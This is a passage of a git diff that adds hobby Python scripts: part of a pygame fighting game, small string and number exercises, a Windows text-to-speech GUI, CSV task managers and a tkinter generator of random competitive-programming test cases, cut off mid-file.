+def scores_screen(): + while True: + draw_bg(bg_image) + + scores_title = "SCORES" + draw_text( + scores_title, + menu_font_title, + RED, + SCREEN_WIDTH // 2 - menu_font_title.size(scores_title)[0] // 2, + 50, + ) + + score_font_large = pygame.font.Font( + "assets/fonts/turok.ttf", 60 + ) # Increased size for scores + p1_text = f"P1: {score[0]}" + p2_text = f"P2: {score[1]}" + shadow_offset = 5 + + p1_text_x = SCREEN_WIDTH // 2 - score_font_large.size(p1_text)[0] // 2 + p1_text_y = SCREEN_HEIGHT // 2 - 50 + draw_text( + p1_text, + score_font_large, + BLACK, + p1_text_x + shadow_offset, + p1_text_y + shadow_offset, + ) # Shadow + draw_gradient_text( + p1_text, score_font_large, p1_text_x, p1_text_y, [BLUE, GREEN] + ) # Gradient + + p2_text_x = SCREEN_WIDTH // 2 - score_font_large.size(p2_text)[0] // 2 + p2_text_y = SCREEN_HEIGHT // 2 + 50 + draw_text( + p2_text, + score_font_large, + BLACK, + p2_text_x + shadow_offset, + p2_text_y + shadow_offset, + ) # Shadow + draw_gradient_text( + p2_text, score_font_large, p2_text_x, p2_text_y, [RED, YELLOW] + ) # Gradient + + return_button = draw_button( + "RETURN TO MAIN MENU", + menu_font, + BLACK, + GREEN, + SCREEN_WIDTH // 2 - 220, + 700, + 500, + 50, + ) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + exit() + if event.type == pygame.MOUSEBUTTONDOWN: + if return_button.collidepoint(event.pos): + return + + pygame.display.update() + clock.tick(FPS) + + +def reset_game(): + global fighter_1, fighter_2 + fighter_1 = Fighter( + 1, + 200, + 310, + False, + WARRIOR_DATA, + warrior_sheet, + WARRIOR_ANIMATION_STEPS, + sword_fx, + ) + fighter_2 = Fighter( + 2, 700, 310, True, WIZARD_DATA, wizard_sheet, WIZARD_ANIMATION_STEPS, magic_fx + ) + + +def draw_health_bar(health, x, y): + pygame.draw.rect(screen, BLACK, (x, y, 200, 20)) + if health > 0: + pygame.draw.rect(screen, RED, (x, y, health * 2, 20)) + pygame.draw.rect(screen, WHITE, (x, y, 200, 20), 2) + + +def countdown(): + countdown_font = pygame.font.Font("assets/fonts/turok.ttf", 100) + countdown_texts = ["3", "2", "1", "FIGHT!"] + + for text in countdown_texts: + draw_bg(bg_image, is_game_started=True) + + text_img = countdown_font.render(text, True, RED) + text_width = text_img.get_width() + x_pos = (SCREEN_WIDTH - text_width) // 2 + + draw_text(text, countdown_font, RED, x_pos, SCREEN_HEIGHT // 2 - 50) + + pygame.display.update() + pygame.time.delay(1000) + + +def game_loop(): + global score + reset_game() + round_over = False + winner_img = None + game_started = True + + countdown() + + while True: + draw_bg(bg_image, is_game_started=game_started) + + draw_text(f"P1: {score[0]}", score_font, RED, 20, 20) + draw_text(f"P2: {score[1]}", score_font, RED, SCREEN_WIDTH - 220, 20) + draw_health_bar(fighter_1.health, 20, 50) + draw_health_bar(fighter_2.health, SCREEN_WIDTH - 220, 50) + + exit_button = draw_button( + "MAIN MENU", menu_font, BLACK, YELLOW, SCREEN_WIDTH // 2 - 150, 20, 300, 50 + ) + + if not round_over: + fighter_1.move(SCREEN_WIDTH, SCREEN_HEIGHT, fighter_2, round_over) + fighter_2.move(SCREEN_WIDTH, SCREEN_HEIGHT, fighter_1, round_over) + + fighter_1.update() + fighter_2.update() + + if not fighter_1.alive: + score[1] += 1 + round_over = True + winner_img = wizard_victory_img + elif not fighter_2.alive: + score[0] += 1 + round_over = True + winner_img = warrior_victory_img + else: + victory_screen(winner_img) + return + + fighter_1.draw(screen) + fighter_2.draw(screen) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + exit() + if event.type == pygame.MOUSEBUTTONDOWN: + if exit_button.collidepoint(event.pos): + return + + pygame.display.update() + clock.tick(FPS) + + +while True: + menu_selection = main_menu() + + if menu_selection == "START": + game_loop() + elif menu_selection == "SCORES": + scores_screen() diff --git a/StringToBinary.py b/StringToBinary.py new file mode 100644 index 00000000000..ebaabe2e152 --- /dev/null +++ b/StringToBinary.py @@ -0,0 +1,12 @@ +text = input("Enter Text : ") + +for chr in text: + bin = "" + asciiVal = int(ord(chr)) + while asciiVal > 0: + if asciiVal % 2 == 0: + bin = bin + "0" + else: + bin = bin + "1" + asciiVal = int(asciiVal / 2) + print(bin + " : " + bin[::-1]) diff --git a/String_Palindrome.py b/String_Palindrome.py new file mode 100644 index 00000000000..b1d9300fb8f --- /dev/null +++ b/String_Palindrome.py @@ -0,0 +1,15 @@ +# Program to check if a string is palindrome or not + +my_str = input().strip() + +# make it suitable for caseless comparison +my_str = my_str.casefold() + +# reverse the string +rev_str = my_str[::-1] + +# check if the string is equal to its reverse +if my_str == rev_str: + print("The string is a palindrome.") +else: + print("The string is not a palindrome.") diff --git a/Strings.py b/Strings.py new file mode 100644 index 00000000000..3d506a2a61a --- /dev/null +++ b/Strings.py @@ -0,0 +1,27 @@ +String1 = "Welcome to Malya's World" +print("String with the use of Single Quotes: ") +print(String1) + +# Creating a String +# with double Quotes +String1 = "I'm a TechGeek" +print("\nString with the use of Double Quotes: ") +print(String1) + +# Creating a String +# with triple Quotes +String1 = '''I'm Malya and I live in a world of "TechGeeks"''' +print("\nString with the use of Triple Quotes: ") +print(String1) + +# Creating String with triple +# Quotes allows multiple lines +String1 = """Smile + For + Life""" +print("\nCreating a multiline String: ") +print(String1) + +# Use F string to incert variables with { +String1 = "4" +print(f"I am an f string. 2 + 2 = {String1}") diff --git a/Sum of digits of a number.py b/Sum of digits of a number.py new file mode 100644 index 00000000000..ba111336965 --- /dev/null +++ b/Sum of digits of a number.py @@ -0,0 +1,45 @@ +# Python code to calculate the sum of digits of a number, by taking number input from user. + +import sys + + +def get_integer(): + for i in range( + 3, 0, -1 + ): # executes the loop 3 times. Giving 3 chances to the user. + num = input("enter a number:") + if num.isnumeric(): # checks if entered input is an integer string or not. + num = int( + num + ) # converting integer string to integer. And returns it to where function is called. + return num + else: + print("enter integer only") + print( + f"{i - 1} chances are left" + if (i - 1) > 1 + else f"{i - 1} chance is left" + ) # prints if user entered wrong input and chances left. + continue + + +def addition(num): + Sum = 0 + if type(num) is type( + None + ): # Checks if number type is none or not. If type is none program exits. + print("Try again!") + sys.exit() + while num > 0: # Addition- adding the digits in the number. + digit = int(num % 10) + Sum += digit + num /= 10 + return Sum # Returns sum to where the function is called. + + +if ( + __name__ == "__main__" +): # this is used to overcome the problems while importing this file. + number = get_integer() + Sum = addition(number) + print(f"Sum of digits of {number} is {Sum}") # Prints the sum diff --git a/TTS.py b/TTS.py new file mode 100644 index 00000000000..a151388ce21 --- /dev/null +++ b/TTS.py @@ -0,0 +1,31 @@ +from tkinter import * +from platform import system + +if system() == "Windows" or "nt": + import win32com.client as wincl +else: + print("Sorry, TTS client is not supported on Linux or MacOS") + exit() + + +def text2Speech(): + text = e.get() + speak = wincl.Dispatch("SAPI.SpVoice") + speak.Speak(text) + + +# window configs +tts = Tk() +tts.wm_title("Text to Speech") +tts.geometry("225x105") +tts.config(background="#708090") + +f = Frame(tts, height=280, width=500, bg="#bebebe") +f.grid(row=0, column=0, padx=10, pady=5) +lbl = Label(f, text="Enter your Text here : ") +lbl.grid(row=1, column=0, padx=10, pady=2) +e = Entry(f, width=30) +e.grid(row=2, column=0, padx=10, pady=2) +btn = Button(f, text="Speak", command=text2Speech) +btn.grid(row=3, column=0, padx=20, pady=10) +tts.mainloop() diff --git a/TaskManager.py b/TaskManager.py new file mode 100644 index 00000000000..d54a7f59756 --- /dev/null +++ b/TaskManager.py @@ -0,0 +1,37 @@ +import csv + + +def load_tasks(filename="tasks.csv"): + tasks = [] + with open(filename, "r", newline="") as file: + reader = csv.reader(file) + for row in reader: + tasks.append({"task": row[0], "deadline": row[1], "completed": row[2]}) + return tasks + + +def save_tasks(tasks, filename="tasks.csv"): + with open(filename, "w", newline="") as file: + writer = csv.writer(file) + for task in tasks: + writer.writerow([task["task"], task["deadline"], task["completed"]]) + + +def add_task(task, deadline): + tasks = load_tasks() + tasks.append({"task": task, "deadline": deadline, "completed": "No"}) + save_tasks(tasks) + print("Task added successfully!") + + +def show_tasks(): + tasks = load_tasks() + for task in tasks: + print( + f"Task: {task['task']}, Deadline: {task['deadline']}, Completed: {task['completed']}" + ) + + +# Example usage +add_task("Write daily report", "2024-04-20") +show_tasks() diff --git a/TaskPlanner.py b/TaskPlanner.py new file mode 100644 index 00000000000..d54a7f59756 --- /dev/null +++ b/TaskPlanner.py @@ -0,0 +1,37 @@ +import csv + + +def load_tasks(filename="tasks.csv"): + tasks = [] + with open(filename, "r", newline="") as file: + reader = csv.reader(file) + for row in reader: + tasks.append({"task": row[0], "deadline": row[1], "completed": row[2]}) + return tasks + + +def save_tasks(tasks, filename="tasks.csv"): + with open(filename, "w", newline="") as file: + writer = csv.writer(file) + for task in tasks: + writer.writerow([task["task"], task["deadline"], task["completed"]]) + + +def add_task(task, deadline): + tasks = load_tasks() + tasks.append({"task": task, "deadline": deadline, "completed": "No"}) + save_tasks(tasks) + print("Task added successfully!") + + +def show_tasks(): + tasks = load_tasks() + for task in tasks: + print( + f"Task: {task['task']}, Deadline: {task['deadline']}, Completed: {task['completed']}" + ) + + +# Example usage +add_task("Write daily report", "2024-04-20") +show_tasks() diff --git a/Test-Case-Generator/test_case.py b/Test-Case-Generator/test_case.py new file mode 100644 index 00000000000..05c9e77d60a --- /dev/null +++ b/Test-Case-Generator/test_case.py @@ -0,0 +1,974 @@ +# ------------------------------------------------- ### +# ------------------------------------------------- ### +# ### Developed by TANMAY KHANDELWAL (aka Dude901). ### +# _________________________________________________ ### +# _________________________________________________ ### + +from tkinter import * +from random import randint, choices +import webbrowser +import os + +mycolor = "#262626" + + +class Case: + def __init__(self, master): + gen_frame = Frame(master) + gen_frame.grid() + self.test_case_counter = None + + def home(self): + self.statement = Label( + gui, + text="Select Test Case Type", + fg="white", + height=1, + font=("calibre", 12, "normal"), + ) + self.statement.configure(bg=mycolor) + self.button1 = Button( + gui, + justify=LEFT, + text="T\nn \nA1 A2 A3...An\nn \nA1 A2 A3...An", + width=13, + fg="white", + bd=3, + command=lambda: Type1(gui), + bg="red", + font="calibre", + ) + self.button1.configure(background="grey20") + self.button2 = Button( + gui, + justify=LEFT, + text="T\nn m \nA1 A2 A3...An\nn m\nA1 A2 A3...An", + fg="white", + command=lambda: Type2(gui), + width=13, + font="calibre", + bd=3, + ) + self.button2.configure(background="grey20") + self.button3 = Button( + gui, + justify=LEFT, + text="T\nA1 B1\nA2 B2\n(t rows of)\n(A, B pair)", + fg="white", + command=lambda: Type3(gui), + width=13, + font="calibre", + bd=3, + ) + self.button3.configure(background="grey20") + self.button4 = Button( + gui, + justify=LEFT, + text="T\nn m \nA1 A2...An\nB1 B2...Bm\n... ...", + fg="white", + command=lambda: Type4(gui), + width=13, + font="calibre", + bd=3, + ) + self.button4.configure(background="grey20") + self.button5 = Button( + gui, + justify=LEFT, + text="T\nn m k\nn m k\n(t rows of)\n(n m k pair)", + fg="white", + command=lambda: Type5(gui), + width=13, + font="calibre", + bd=3, + ) + self.button5.configure(background="grey20") + self.button6 = Button( + gui, + justify=LEFT, + text="n * m (matrix)\nA1 A2...Am\nA1 A2...Am\n__ __ ... __\n" + "A1 A2...Am", + fg="white", + command=lambda: Type6(gui), + width=13, + font="calibre", + bd=3, + ) + self.button6.configure(background="grey20") + self.button7 = Button( + gui, + justify=LEFT, + text="T\nn\nCustom string\n(ex: 0 1)\n(ex: + / -)", + fg="white", + command=lambda: Type7(gui), + width=13, + font="calibre", + bd=3, + ) + self.button7.configure(background="grey20") + self.button8 = Button( + gui, + justify=LEFT, + text="T\nn m\nA1 B1\n... ...\nAm Bm", + fg="white", + command=lambda: Type8(gui), + width=13, + font="calibre", + bd=3, + ) + self.button8.configure(background="grey20") + self.button9 = Button( + gui, + justify=LEFT, + text='T\nCustom string\n(without "n")\n(ex: 0 1)\n(ex: + / -)', + fg="white", + command=lambda: Type9(gui), + width=13, + font="calibre", + bd=3, + ) + self.button9.configure(background="grey20") + self.button10 = Button( + gui, + justify=LEFT, + text="T\nn k m\nA1 A2...An\nn k m\nA1 A2...An", + fg="white", + command=lambda: Type10(gui), + width=13, + font="calibre", + bd=3, + ) + self.button10.configure(background="grey20") + self.button_new = Button( + gui, + text=" ANOTHER TYPE ", + fg="black", + width=13, + font="calibre", + bd=3, + command=lambda: self.newformat(self=Case), + ) + self.button_exit = Button( + gui, + text=" EXIT ", + fg="black", + width=11, + font="calibre", + bd=3, + command=lambda: gui.destroy(), + ) + self.copyright_label = Button( + gui, + text="© Dude901", + fg="white", + width=7, + height=1, + bd=3, + command=lambda: webbrowser.open_new_tab("https://github.com/Tanmay-901"), + font=("calibre", 6, "normal"), + ) + self.copyright_label.configure(bg=mycolor) + self.retrieve_home(self) + + def newformat(self): + url = "https://forms.gle/UVdo6QMAwBNxa9Ln7" + webbrowser.open_new_tab(url) + + def forget_home(self): + self.statement.place_forget() + self.button1.grid_forget() + self.button2.grid_forget() + self.button3.grid_forget() + self.button4.grid_forget() + self.button5.grid_forget() + self.button6.grid_forget() + self.button7.grid_forget() + self.button8.grid_forget() + self.button9.grid_forget() + self.button10.grid_forget() + self.button_new.grid_forget() + self.button_exit.grid_forget() + + def retrieve_home(self): + self.statement.place(relx=0.39, rely=0.005) + self.button1.grid(row=1, column=0, ipady=10, pady=27, padx=10) + self.button2.grid(row=1, column=1, ipady=10, pady=27, padx=10) + self.button3.grid(row=1, column=2, ipady=10, pady=27, padx=10) + self.button4.grid(row=1, column=3, ipady=10, pady=27, padx=10) + self.button5.grid(row=1, column=4, ipady=10, pady=27, padx=10) + self.button6.grid(row=2, column=0, ipady=10, pady=13, padx=10) + self.button7.grid(row=2, column=1, ipady=10, pady=13, padx=10) + self.button8.grid(row=2, column=2, ipady=10, pady=13, padx=10) + self.button9.grid(row=2, column=3, ipady=10, pady=13, padx=10) + self.button10.grid(row=2, column=4, ipady=10, pady=13, padx=10) + self.button_new.grid(row=3, column=1, ipady=10, pady=13, padx=10) + self.button_exit.grid(row=3, column=3, ipady=10, pady=13, padx=10) + self.copyright_label.place(relx=0.92, rely=0.005) + + def cpy(self): + txt = self.output.get("1.0", END) + gui.clipboard_clear() + gui.clipboard_append(txt.strip()) + + def done(self, output): + self.a = [0] + self.try_forget() + self.retrieve_home() + pass + + def display(self): + self.y_scroll = Scrollbar(gui) + self.x_scroll = Scrollbar(gui, orient=HORIZONTAL) + self.y_scroll.grid(row=0, column=11, sticky="NS", pady=(22, 0), padx=(0, 20)) + self.x_scroll.grid( + row=1, sticky="EW", columnspan=10, padx=(20, 0), pady=(0, 30) + ) + self.output = Text( + gui, + height=12, + bg="light cyan", + width=82, + yscrollcommand=self.y_scroll.set, + xscrollcommand=self.x_scroll.set, + wrap="none", + ) + # self.output = ScrolledText(gui, height=12, bg="light cyan", width=82, wrap='none', + # xscrollcommand=x_scroll.set) # only for y scroll + self.output.grid( + row=0, + column=0, + columnspan=10, + sticky="n", + ipady=10, + padx=(20, 0), + pady=(22, 0), + ) + self.y_scroll.config(command=self.output.yview) + self.x_scroll.config(command=self.output.xview) + self.copy_button = Button( + gui, + text="COPY", + fg="black", + width=18, + command=self.cpy, + font="calibre", + bd=3, + ) + self.copy_button.grid( + row=2, column=3, sticky="SW", ipady=10, pady=(10, 18), padx=15 + ) + self.generate_button = Button( + gui, + text="RE-GENERATE", + width=23, + fg="black", + command=lambda: self.generate(), + font="calibre", + bd=3, + ) + self.generate_button.grid(row=2, column=4, ipady=10, pady=(10, 18), padx=15) + + self.change_values_button = Button( + gui, + text="CHANGE CONSTRAINT", + fg="black", + command=lambda: self.take_input(), + width=20, + font="calibre", + bd=3, + ) + self.change_values_button.grid(row=2, column=5, ipady=10, pady=(10, 18), padx=5) + self.done_button = Button( + gui, + text="HOME", + fg="black", + command=lambda: self.done(self.output), + width=20, + font="calibre", + bd=3, + ) + self.done_button.grid( + row=3, column=3, columnspan=2, ipady=10, pady=(10, 20), padx=5 + ) + self.button_exit_output = Button( + gui, + text=" EXIT ", + fg="black", + width=20, + font="calibre", + bd=3, + command=lambda: gui.destroy(), + ) + self.button_exit_output.grid( + row=3, column=4, columnspan=2, ipady=10, pady=(10, 20), padx=5 + ) + + def try_forget(self): + self.output.grid_forget() + self.copy_button.grid_forget() + self.generate_button.grid_forget() + self.change_values_button.grid_forget() + self.done_button.grid_forget() + self.y_scroll.grid_forget() + self.x_scroll.grid_forget() + self.button_exit_output.grid_forget() + try: + self.constraints.grid_forget() + except AttributeError: + pass + + def get_t(self, r): + self.test_case_count_label = Label( + gui, text="T = ", font=("calibre", 10, "bold"), width=17 + ) # Type 1 + self.test_case_count = Entry( + gui, textvariable=t, font=("calibre", 10, "normal") + ) + self.test_case_count_label.grid(row=r, column=0, pady=20, ipady=1) # Type 1 + self.test_case_count.grid(row=r, column=1) + + def get_n(self, r): + self.minimum_value_of_n = Entry( + gui, textvariable=n_min, font=("calibre", 10, "normal") + ) + self.min_max_values_of_n_label = Label( + gui, text=" <= n <=", font=("calibre", 10, "bold") + ) + self.maximum_value_of_n = Entry( + gui, textvariable=n_max, font=("calibre", 10, "normal") + ) + self.minimum_value_of_n.grid(row=r, column=0, padx=10, pady=10) + self.min_max_values_of_n_label.grid(row=r, column=1, ipadx=5, ipady=1) + self.maximum_value_of_n.grid(row=r, column=2, padx=(10, 10)) + + def get_m(self, r): + self.minimum_value_of_m = Entry( + gui, textvariable=m_min, font=("calibre", 10, "normal") + ) + self.min_max_values_of_m_label = Label( + gui, text="<= m <=", font=("calibre", 10, "bold") + ) + self.maximum_value_of_m = Entry( + gui, textvariable=m_max, font=("calibre", 10, "normal") + ) + self.minimum_value_of_m.grid(row=r, column=0, padx=10, pady=10) + self.min_max_values_of_m_label.grid(row=r, column=1, padx=10, ipadx=5, ipady=1) + self.maximum_value_of_m.grid(row=r, column=2, padx=10) + + def get_k(self, r): + self.minimum_value_of_k = Entry( + gui, textvariable=k_min, font=("calibre", 10, "normal") + ) + self.min_max_values_of_k_label = Label( + gui, text=" <= k <=", font=("calibre", 10, "bold") + ) + self.maximum_value_of_k = Entry( + gui, textvariable=k_max, font=("calibre", 10, "normal") + ) + self.minimum_value_of_k.grid(row=r, column=0, pady=10) + self.min_max_values_of_k_label.grid(row=r, column=1) + self.maximum_value_of_k.grid(row=r, column=2) + + def get_a(self, r): + self.minimum_value_of_ai = Entry( + gui, textvariable=a_min, font=("calibre", 10, "normal") + ) + self.min_max_values_of_ai_label = Label( + gui, text=" <= Ai <=", font=("calibre", 10, "bold") + ) + self.maximum_value_of_ai = Entry( + gui, textvariable=a_max, font=("calibre", 10, "normal") + ) + self.minimum_value_of_ai.grid(row=r, column=0, padx=10, pady=10) + self.min_max_values_of_ai_label.grid(row=r, column=1, ipadx=2, ipady=1) + self.maximum_value_of_ai.grid(row=r, column=2) + + def get_b(self, r): + self.minimum_value_of_bi = Entry( + gui, textvariable=b_min, font=("calibre", 10, "normal") + ) + self.min_max_values_of_bi_label = Label( + gui, text=" <= Bi <= ", font=("calibre", 10, "bold") + ) + self.maximum_value_of_bi = Entry( + gui, textvariable=b_max, font=("calibre", 10, "normal") + ) + self.minimum_value_of_bi.grid(row=r, column=0, pady=10) + self.min_max_values_of_bi_label.grid(row=r, column=1, padx=10) + self.maximum_value_of_bi.grid(row=r, column=2, padx=10) + + def get_char_list(self, r): + self.char_list_label = Label( + gui, text=" Characters : ", font=("calibre", 10, "bold"), width=17 + ) + self.char_list = Entry( + gui, textvariable=char_lis, font=("calibre", 10, "normal"), width=43 + ) + self.char_list.insert(END, "(Space separated characters)") + self.char_list.bind("", lambda args: self.char_list.delete("0", "end")) + self.char_list_label.grid(row=r, column=0, pady=10) + self.char_list.grid(row=r, column=1, columnspan=2, padx=10) + + def show_button(self, r): + self.back_btn = Button( + gui, + text=" HOME ", + command=lambda: self.forget_testcase_take_input_screen(1), + font="calibre", + bd=3, + ) + self.sub_btn = Button( + gui, text=" GENERATE ", command=self.submit, font="calibre", bd=3 + ) + self.exit_btn = Button( + gui, text=" EXIT ", command=lambda: gui.destroy(), font="calibre", bd=3 + ) + self.back_btn.grid(row=r, column=0, pady=(20, 20), ipady=1) + self.sub_btn.grid(row=r, column=1, pady=(20, 20), ipady=1) + self.exit_btn.grid(row=r, column=2, pady=(20, 20), ipady=1) + self.copyright_label.place(relx=0.9, y=0) + + def submit(self): + try: + self.t = int(self.test_case_count.get()) + if self.t == 0 or self.t > 10000: + return + except ValueError: + return + except AttributeError: + pass + try: + self.n_min = min( + int(self.minimum_value_of_n.get()), int(self.maximum_value_of_n.get()) + ) + self.n_max = max( + int(self.minimum_value_of_n.get()), int(self.maximum_value_of_n.get()) + ) + if self.n_min > self.n_max or self.n_max == 0 or self.n_max > 10000000: + return + except ValueError: + return + except AttributeError: + pass + try: + self.m_min = min( + int(self.minimum_value_of_m.get()), int(self.maximum_value_of_m.get()) + ) + self.m_max = max( + int(self.minimum_value_of_m.get()), int(self.maximum_value_of_m.get()) + ) + if self.m_min > self.m_max or self.m_max == 0 or self.m_max > 10000000: + return + except ValueError: + return + except AttributeError: + pass + try: + self.k_min = min( + int(self.minimum_value_of_k.get()), int(self.maximum_value_of_k.get()) + ) + self.k_max = max( + int(self.minimum_value_of_k.get()), int(self.maximum_value_of_k.get()) + ) + if self.k_min > self.k_max or self.k_max == 0 or self.k_max > 10000000: + return + except ValueError: + return + except AttributeError: + pass + try: + self.a_min = min( + int(self.minimum_value_of_ai.get()), int(self.maximum_value_of_ai.get()) + ) + self.a_max = max( + int(self.minimum_value_of_ai.get()), int(self.maximum_value_of_ai.get()) + ) + if self.a_min > self.a_max or self.a_max == 0 or self.a_max > 10000000: + return + except ValueError: + return + except AttributeError: + pass + try: + self.b_min = min( + int(self.minimum_value_of_bi.get()), int(self.maximum_value_of_bi.get()) + ) + self.b_max = max( + int(self.minimum_value_of_bi.get()), int(self.maximum_value_of_bi.get()) + ) + if self.b_min > self.b_max or self.b_max == 0 or self.b_max > 10000000: + return + except ValueError: + return + except AttributeError: + pass + try: + self.char_lis = list(self.char_list.get().split()) + if self.char_lis[0] == "(Space": + return + except IndexError: + return + except ValueError: + return + except AttributeError: + pass + try: + if self.t * self.n_max > 10000000: + return + except AttributeError: + pass + try: + if self.m_max * self.n_max > 10000000: + return + except AttributeError: + pass + try: + if self.t * self.m_max > 10000000: + return + except AttributeError: + pass + finally: + self.forget_testcase_take_input_screen() + self.display() + self.generate() + + def forget_testcase_take_input_screen(self, check=0): + try: + self.test_case_count_label.grid_forget() + self.test_case_count.grid_forget() + except AttributeError: + pass + try: + self.minimum_value_of_n.grid_forget() + self.min_max_values_of_n_label.grid_forget() + self.maximum_value_of_n.grid_forget() + except AttributeError: + pass + try: + self.minimum_value_of_ai.grid_forget() + self.min_max_values_of_ai_label.grid_forget() + self.maximum_value_of_ai.grid_forget() + except AttributeError: + pass + try: + self.minimum_value_of_bi.grid_forget() + self.min_max_values_of_bi_label.grid_forget() + self.maximum_value_of_bi.grid_forget() + except AttributeError: + pass + try: + self.minimum_value_of_m.grid_forget() + self.min_max_values_of_m_label.grid_forget() + self.maximum_value_of_m.grid_forget() + except AttributeError: + pass + try: + self.minimum_value_of_k.grid_forget() + self.min_max_values_of_k_label.grid_forget() + self.maximum_value_of_k.grid_forget() + except AttributeError: + pass + try: + self.char_list_label.grid_forget() + self.char_list.delete("0", "end") + self.char_list.grid_forget() + except AttributeError: + pass + try: + self.constraints.grid_forget() + except AttributeError: + pass + finally: + self.sub_btn.grid_forget() + self.back_btn.grid_forget() + self.exit_btn.grid_forget() + + if check: + self.retrieve_home() + + +class Type1(Case): + def __init__(self, master): + super(Type1, self).__init__(master) # Type 1 + self.forget_home() + self.take_input() + + def take_input(self): + try: + self.try_forget() # Type 1 + except AttributeError: + pass + self.get_t(0) + self.get_n(1) + self.get_a(2) + self.show_button(3) + + def generate(self): # Type 1 + self.forget_testcase_take_input_screen() + self.output.delete("1.0", END) + self.output.insert(END, self.t) + self.output.insert(END, "\n") + for i in range(self.t): + self.n = randint(self.n_min, self.n_max) + self.output.insert(END, self.n) + self.output.insert(END, "\n") + self.a = [0] * self.n + for j in range(self.n): + self.a[j] = randint(self.a_min, self.a_max) + self.output.insert(END, self.a) + self.output.insert(END, "\n") + + +class Type2(Case): # Type 2 + def __init__(self, master): + super(Type2, self).__init__(master) + self.forget_home() + self.take_input() + + def take_input(self): # Type 2 + try: + self.try_forget() + except AttributeError: + pass + self.get_t(0) + self.get_n(1) + self.get_m(2) + self.get_a(3) + self.show_button(4) + + def generate(self): # Type 2 + self.output.delete("1.0", END) + self.output.insert(END, self.t) + self.output.insert(END, "\n") + for i in range(self.t): + self.n = randint(self.n_min, self.n_max) + self.m = randint(self.m_min, self.m_max) + self.output.insert(END, self.n) + self.output.insert(END, " ") + self.output.insert(END, self.m) + self.output.insert(END, "\n") + self.a = [0] * self.n + for j in range(self.n): + self.a[j] = randint(self.a_min, self.a_max) + self.output.insert(END, self.a) + self.output.insert(END, "\n") + + +class Type3(Case): + def __init__(self, master): + super(Type3, self).__init__(master) + self.forget_home() + self.take_input() + + def take_input(self): # Type 3 + try: + self.try_forget() + except AttributeError: + pass + self.get_t(0) + self.get_a(1) + self.get_b(2) + self.show_button(3) + + def generate(self): # Type 3 + self.output.delete("1.0", END) + self.output.insert(END, self.t) + self.output.insert(END, "\n") + for i in range(self.t): + self.a = randint(self.a_min, self.a_max) + self.b = randint(self.b_min, self.b_max) + self.output.insert(END, self.a) + self.output.insert(END, " ") + self.output.insert(END, self.b) + self.output.insert(END, "\n") + + +class Type4(Case): + def __init__(self, master): + super(Type4, self).__init__(master) + self.forget_home() + self.take_input() + + def take_input(self): # Type 4 + try: + self.try_forget() + except AttributeError: + pass + self.get_t(0) + self.get_n(1) + self.get_m(2) + self.get_a(3) + self.get_b(4) + self.show_button(5) + + def generate(self): # Type 4 + self.output.delete("1.0", END) + self.output.insert(END, self.t) + self.output.insert(END, "\n") + for i in range(self.t): + self.n = randint(self.n_min, self.n_max) + self.m = randint(self.m_min, self.m_max) + self.output.insert(END, self.n) + self.output.insert(END, " ") + self.output.insert(END, self.m) + self.output.insert(END, "\n") + self.a = [0] * self.n + self.b = [0] * self.m + for j in range(self.n): + self.a[j] = randint(self.a_min, self.a_max) + self.output.insert(END, self.a) + self.output.insert(END, "\n") + for j in range(self.m): + self.b[j] = randint(self.b_min, self.b_max) + self.output.insert(END, self.b) + self.output.insert(END, "\n") + + +# ------------------------------------------------- ### +# ------------------------------------------------- ### +# ### Developed by TANMAY KHANDELWAL (aka Dude901). ### +# _________________________________________________ ### +# _________________________________________________ ### + + +class Type5(Case): + def __init__(self, master): + super(Type5, self).__init__(master) + self.forget_home() + self.take_input() + + def take_input(self): # Type 5 + try: + self.try_forget() + except AttributeError: + pass + self.get_t(0) + self.get_n(1) + self.get_m(2) + self.get_k(3) + self.show_button(4) + + def generate(self): # Type 5 + self.output.delete("1.0", END) + self.output.insert(END, self.t) + self.output.insert(END, "\n") + for i in range(self.t): + self.n = randint(self.n_min, self.n_max) + self.m = randint(self.m_min, self.m_max) + self.k = randint(self.k_min, self.k_max) + self.output.insert(END, self.n) + self.output.insert(END, " ") + self.output.insert(END, self.m) + self.output.insert(END, " ") + self.output.insert(END, self.k) + self.output.insert(END, "\n") + + +class Type6(Case): + def __init__(self, master): # Type 6 + super(Type6, self).__init__(master) + self.forget_home() + self.take_input() + + def take_input(self): # Type 6 + try: + self.try_forget() + except AttributeError: + pass # Type 6 + self.constraints = Label( + gui, + text="Enter Constraints", + fg="white", + height=1, + font=("calibre", 12, "normal"), + ) + self.constraints.configure(bg=mycolor) + self.constraints.grid(row=0, column=1) + self.get_n(1) + self.get_m(2) + self.get_a(3) + self.show_button(4) + + def generate(self): # Type 6 + self.output.delete("1.0", END) + self.n = randint(self.n_min, self.n_max) + self.m = randint(self.m_min, self.m_max) + self.output.insert(END, self.n) + self.output.insert(END, " ") + self.output.insert(END, self.m) + self.output.insert(END, "\n") + for i in range(self.n): + self.a = [0] * self.m + for j in range(self.m): + self.a[j] = randint(self.a_min, self.a_max) + self.output.insert(END, self.a) + self.output.insert(END, "\n") + + +class Type7(Case): + def __init__(self, master): # Type 7 + super(Type7, self).__init__(master) + self.forget_home() + self.take_input() + + def take_input(self): # Type 7 + try: + self.try_forget() + except AttributeError: + pass + self.get_t(0) + self.get_char_list(1) + self.get_n(2) + self.show_button(3) + + def generate(self): # Type 7 + self.output.delete("1.0", END) + self.output.insert(END, self.t) + self.output.insert(END, "\n") + for i in range(self.t): + self.n = randint(self.n_min, self.n_max) + self.output.insert(END, self.n) + self.output.insert(END, "\n") + self.a = choices(self.char_lis, k=self.n) + self.output.insert(END, "".join(self.a)) + self.output.insert(END, "\n") + + +class Type8(Case): + def __init__(self, master): # Type 8 + super(Type8, self).__init__(master) + self.forget_home() + self.take_input() + + def take_input(self): + try: # Type 8 + self.try_forget() + except AttributeError: + pass + self.get_t(0) + self.get_n(1) + self.get_m(2) + self.get_a(3) + self.get_b(4) + self.show_button(5) + + def generate(self): # Type 8 + self.output.delete("1.0", END) + self.output.insert(END, self.t) + self.output.insert(END, "\n") + for i in range(self.t): + self.n = randint(self.n_min, self.n_max) + self.m = randint(self.m_min, self.m_max) + self.output.insert(END, self.n) + self.output.insert(END, " ") + self.output.insert(END, self.m) + self.output.insert(END, "\n") + for j in range(self.m): + self.a = randint(self.a_min, self.a_max) + self.b = randint(self.b_min, self.b_max) + self.output.insert(END, self.a) + self.output.insert(END, " ") + self.output.insert(END, self.b) + self.output.insert(END, "\n") + + +class Type9(Case): + def __init__(self, master): + super(Type9, self).__init__(master) + self.forget_home() + self.take_input() + + def 